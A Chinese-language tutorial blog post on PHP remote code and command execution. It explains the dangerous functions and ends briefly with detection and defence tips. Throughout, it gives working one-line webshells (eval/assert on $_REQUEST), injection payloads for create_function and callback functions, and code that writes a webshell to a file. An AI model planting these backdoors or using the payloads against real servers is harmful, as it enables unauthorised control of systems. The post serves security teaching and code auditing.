代码执行利用和源码分析

RCE 的概念
RCE(remote command/code execute)
远程命令 / 代码执行 。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE 分为远程命令执行 ping 和远程代码执行 evel
Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞
PHP 中代码执行所涉及的函数有:
eval()、assert()、preg_replace()、create_function()、array_map()、
call_user_func()、call_user_func_array()、array_filter()、uasort()、文件操作函数、动
态函数($a($b))
PHP 中命令执行所涉及的函数有:
system() exec() shell_exec() pcntl_exec() popen() proc_popen() passthru()
代码执行的原理
要想搞懂代码执行的原理,我们需要将相关的函数搞懂即可。
这里主要介绍 PHP 的相关函数。
PHP 中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞。
eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:
<?php eval($_REQUEST[6]);?>
eval 这个函数,不属于 PHP 体系的函数, 在官方的说法中,属于语句
所以 disable_function 禁用不了
如果需要禁用,需要额外安装一个插件: Suhosin
assert()
eval 类似,字符串被 assert() 当做 PHP 代码来执行,如:
<?php
assert($_REQUEST[6]);
?>
eval 的区别在于, eval 一次性可以执行多条语句,但是 assert() 一次性只能执行一条 ( 函数 )
大家可以思考一下如何让 assert 一次性执行多条语句呢?
preg_replace
语法:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int
&$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是 -1 (无限制)。
$count: 可选,为替换执行的次数。
返回值:
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下返回没有改变的 subject
如果发生错误,返回 NULL
危险点:
preg_replace() 函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的 /e 修饰符,使
preg_replace() replacement 参数当作 PHP 代码
<?php
@preg_replace("/abc/e",$_REQUEST[6],"abcd");
?>
但是 /e 参数要注意 PHP 的版本。
create_function()
语法:
string create_function(string $args, string $code)
参数说明:
string $args 函数参数部分
string $code 函数体代码部分如:
$myfunc = create_function('$name','echo $name."SJ";');
相当于:
function myfunc($name) {
echo $name."SJ";
}
调用:
$myfunc('liu');
create_function 主要用来创建匿名函数, create_function() 函数会在内部执行 eval() ,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function() 执行任意命令。
接下来利用 create_function() 进行注入:
有问题的代码:
$id = $_GET['id'];
$code = 'return $a."_"'.$id.';';
// 动态创建函数
$func = create_function('$a', $code);
// 调用
$func(1);
payload: ?id=;}phpinfo();/*
执行结果:
array_map
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给array_map() 函数的数组数目一致。
示例代码:
// ?func=system&cmd=whoami
// ?func=system&cmd=calc
// ?func=system&cmd=notepad
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
call_user_func()/call_user_func_array ()
call_user_func
把第一个参数作为回调函数调用,其余参数是回调函数的参数。
示例代码:
//?cmd=phpinfo()
@call_user_func('assert',$_GET['cmd']);
call_user_func_array
调用回调函数,并把一个数组参数作为回调函数的参数
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
array_filter()
语法:
array array_filter(array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true ,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
文件操作函数
file_put_contents()
函数把一个字符串写入文件中。
$test='<?php eval($_REQUEST[6]);?>';
file_put_contents('test1.php',$test);
fputs()
函数写入文件
$test='<?php eval($_REQUEST[6]);?>';
file_put_contents('test1.php',$test);
动态函数
PHP 函数直接由字符串拼接
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
特殊组合
双引号二次解析
PHP 版本 5.5 及其以上版本可以使用
"${phpinfo()}"; => 代码执行 phpinfo()PHP 的字符串是可以使用复杂的表达式。
例如 ${ 中间可以写调用的函数 }
${phpinfo()}; // 可以执行
$a = ${phpinfo()}; // 可以执行
PHP 的官方文档中也有描述
https://www.php.net/manual/zh/language.types.string.php
如何找相关漏洞?
白盒:代码审计
黑盒:漏扫工具、公开漏洞、手工看参数及功能点
如何防御?
敏感函数禁用
变量过滤或固定
waf 产品
  • 27
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值